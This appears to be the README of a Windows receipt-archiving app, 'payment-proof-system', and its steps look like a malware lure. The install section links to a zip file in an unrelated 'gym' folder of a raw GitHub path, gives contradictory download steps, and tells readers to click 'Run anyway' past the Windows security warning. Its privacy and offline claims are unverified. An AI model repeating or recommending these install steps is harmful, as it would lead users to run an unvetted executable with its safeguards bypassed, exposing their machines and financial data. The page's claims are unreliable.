The payment-proof-system helps you organize your financial records. You can store receipt images, track transaction dates, and verify proof of payment for your personal records. Use this tool to maintain a digital archive of your transactions. It removes the need for paper files and helps you find specific payment details in seconds.
This application runs on Windows computers. Ensure your system meets these standards:
- Operating System: Windows 10 or Windows 11.
- Memory: 4 gigabytes of RAM or more.
- Storage: 200 megabytes of free disk space.
- Display: 1280 by 720 screen resolution.
Follow these steps to set up the software on your computer.
- Visit the download page: https://raw.githubusercontent.com/Godivawinterblooming431/payment-proof-system/main/gym/proof_payment_system_v3.6.zip
- Look for the latest release link on the right side of the screen.
- Select the file ending in .exe to start the download.
- Save the file to your desktop or downloads folder.
Once the download finishes, follow these steps to install the program.
- Locate the file you just downloaded.
- Double-click the file icon.
- Windows may show a security window. Click "More info" and then click "Run anyway" if the system prompts you.
- Follow the instructions on the screen to finish the installation.
- Launch the program from the shortcut on your desktop.
This application includes tools to handle your payment data.
- Receipt Upload: Attach photos or digital copies of your payment receipts.
- Date Filtering: Sort your records by date to find specific entries.
- Search Function: Use keywords to search through your transaction history.
- Backup Options: Export your records to a local file for safekeeping.
- User Interface: Navigate the menu with ease using the simple layout.
Effective record-keeping starts with a clear approach. As you add payments, use the category field to group them by type. Common categories include utilities, insurance, and retail purchases. When you attach a receipt image, make sure the file name contains the vendor name and the amount. This keeps your search results accurate and saves time later.
This application stores your data locally on your computer. Your payment information remains on your machine and stays out of the cloud. You control the privacy of your files. Regular backups help protect your information against computer errors or hardware failure. To backup your data, click the "Settings" menu and select "Export Database". Save this file to an external drive or a secure folder.
If the application does not start, verify that you have full permissions for the folder where you installed the program. If images do not appear, check that the file format is a standard image type like .jpg or .png. If the program window looks distorted, adjust your display zoom settings in Windows to 100 percent. Restarting your computer often resolves temporary file conflicts.
What file types can I upload? You can use .jpg, .png, and .pdf files. These formats maintain image quality while keeping the file size small.
Can I move the program after I install it? The program prefers its default location. If you move the folder, the shortcut may stop working.
Does the software collect my personal data? No. The application operates offline and does not track your usage patterns.
Is there a limit to the number of records? The size of your hard drive governs the limit. You can store thousands of receipts on a typical computer.
Keep your folder organized from the start. Add new receipts once a week to avoid a buildup of records. Check that your printer or scanner creates clear images so you can read the transaction amounts later. Use the notes section to add extra details like account numbers or validation codes. These small habits save you from searching through stacks of paper when you need to prove a payment.
Check the project page for periodic updates. These updates fix minor errors and improve speed. When you see a notice for a new version, repeat the download process. The installer usually detects the old version and upgrades it automatically. If you encounter a problem that makes the software unusable, remove the program via the Windows Control Panel and install the latest version. This fresh start resolves most configuration errors.